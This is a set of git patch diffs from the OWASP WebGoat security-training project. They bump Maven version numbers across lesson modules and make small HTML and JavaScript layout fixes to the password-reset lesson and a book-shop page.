a/webgoat-lessons/html-tampering/pom.xml +++ b/webgoat-lessons/html-tampering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/http-basics/pom.xml b/webgoat-lessons/http-basics/pom.xml index a77c8e0a05..d70f14823c 100644 --- a/webgoat-lessons/http-basics/pom.xml +++ b/webgoat-lessons/http-basics/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/http-proxies/pom.xml b/webgoat-lessons/http-proxies/pom.xml index 0c656a7ff4..42810af9bf 100644 --- a/webgoat-lessons/http-proxies/pom.xml +++ b/webgoat-lessons/http-proxies/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/idor/pom.xml b/webgoat-lessons/idor/pom.xml index 0dd3ab28fe..1ff614abbc 100644 --- a/webgoat-lessons/idor/pom.xml +++ b/webgoat-lessons/idor/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/pom.xml b/webgoat-lessons/insecure-deserialization/pom.xml index f076d0e3b9..70dc187800 100755 --- a/webgoat-lessons/insecure-deserialization/pom.xml +++ b/webgoat-lessons/insecure-deserialization/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/insecure-login/pom.xml b/webgoat-lessons/insecure-login/pom.xml index 4d4d9625c7..4e2efea24e 100755 --- a/webgoat-lessons/insecure-login/pom.xml +++ b/webgoat-lessons/insecure-login/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/jwt/pom.xml b/webgoat-lessons/jwt/pom.xml index a2a5843c5a..cc52fc036e 100644 --- a/webgoat-lessons/jwt/pom.xml +++ b/webgoat-lessons/jwt/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/missing-function-ac/pom.xml b/webgoat-lessons/missing-function-ac/pom.xml index 71d667565f..903bf96b8d 100644 --- a/webgoat-lessons/missing-function-ac/pom.xml +++ b/webgoat-lessons/missing-function-ac/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/password-reset/pom.xml b/webgoat-lessons/password-reset/pom.xml index d87ebc7281..2835a7523e 100644 --- a/webgoat-lessons/password-reset/pom.xml +++ b/webgoat-lessons/password-reset/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index 04ec10fda3..94903db5df 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -5,12 +5,12 @@ org.owasp.webgoat.lesson webgoat-lessons-parent pom - v8.0.0.M14 + v8.0.0.M15 org.owasp.webgoat webgoat-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/sql-injection/pom.xml b/webgoat-lessons/sql-injection/pom.xml index 676c9cc4ef..8e02035d36 100644 --- a/webgoat-lessons/sql-injection/pom.xml +++ b/webgoat-lessons/sql-injection/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/vulnerable-components/pom.xml b/webgoat-lessons/vulnerable-components/pom.xml index 26f718269a..343969ac35 100644 --- a/webgoat-lessons/vulnerable-components/pom.xml +++ b/webgoat-lessons/vulnerable-components/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/webgoat-introduction/pom.xml b/webgoat-lessons/webgoat-introduction/pom.xml index c4076cf17d..4d7b403f8e 100644 --- a/webgoat-lessons/webgoat-introduction/pom.xml +++ b/webgoat-lessons/webgoat-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/pom.xml b/webgoat-lessons/webwolf-introduction/pom.xml index b55a6a0eb0..7f09035862 100644 --- a/webgoat-lessons/webwolf-introduction/pom.xml +++ b/webgoat-lessons/webwolf-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/xxe/pom.xml b/webgoat-lessons/xxe/pom.xml index 3ac778514c..6d6eae1e6e 100644 --- a/webgoat-lessons/xxe/pom.xml +++ b/webgoat-lessons/xxe/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index 1f44f04cdb..452985378d 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webwolf/pom.xml b/webwolf/pom.xml index ee2728a35e..e68d7163c2 100644 --- a/webwolf/pom.xml +++ b/webwolf/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - v8.0.0.M14 + v8.0.0.M15 From 5f4889cefed22ecd17ce4080e9445e547794f126 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 29 May 2018 09:29:50 +0200 Subject: [PATCH 70/76] Clicking link in first password reset link only switched back and forward --- .../main/resources/html/PasswordReset.html | 19 +++++++++---------- .../resources/js/password-reset-simple.js | 17 ++++------------- 2 files changed, 13 insertions(+), 23 deletions(-) diff --git a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html index 5dfc6f708a..708c4c07f3 100644 --- a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html +++ b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html @@ -21,11 +21,10 @@
- -
-

Account - Access

-
+
+
+

Account + Access

@ @@ -42,7 +41,7 @@

- + Forgot your password?

@@ -50,7 +49,7 @@

+

- +
-

Learn defending your application with WebGoat

+

Learn to defend your application with + WebGoat

by WebGoat Publishing
Status: In Stock @@ -148,8 +150,11 @@
by WebGoat Publishing
- $4.87 - $14.61 + $ + 4.87 + + $14.61